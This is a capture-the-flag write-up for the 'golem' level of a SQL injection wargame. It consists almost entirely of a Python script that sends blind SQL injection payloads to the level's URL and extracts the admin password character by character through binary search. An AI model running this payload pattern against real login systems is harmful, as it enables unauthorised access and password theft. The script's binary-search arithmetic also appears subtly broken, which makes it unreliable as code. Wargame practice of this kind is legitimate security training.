LOS :: 11번 GOLEM

WRITE UP

import requests
 
url = "http://los.rubiya.kr/golem_4b5202cfedd8160e73124b5234235ef5.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
 
flag=""
 
print("[∞] flag : ",end='')
 
for i in range(1,9):
   a=0
   b=126
   while b-a!=0:
      center = b-a//2
      data['pw']="'||id like 'admin'&&ascii(mid(pw,"+str(i)+",1))<"+str(center)+"#"
      res = requests.get(url, params=data, cookies=session)
      if "Hello admin" in res.text:
         b=center-1
      else:
         a=center
   print(chr(a),end='')
   flag = flag + chr(a)
 
data['pw']=flag
res = requests.get(url, params=data, cookies=session)
 
if "Clear!" in res.text:
   print("\n[♪] GOLEM Clear!")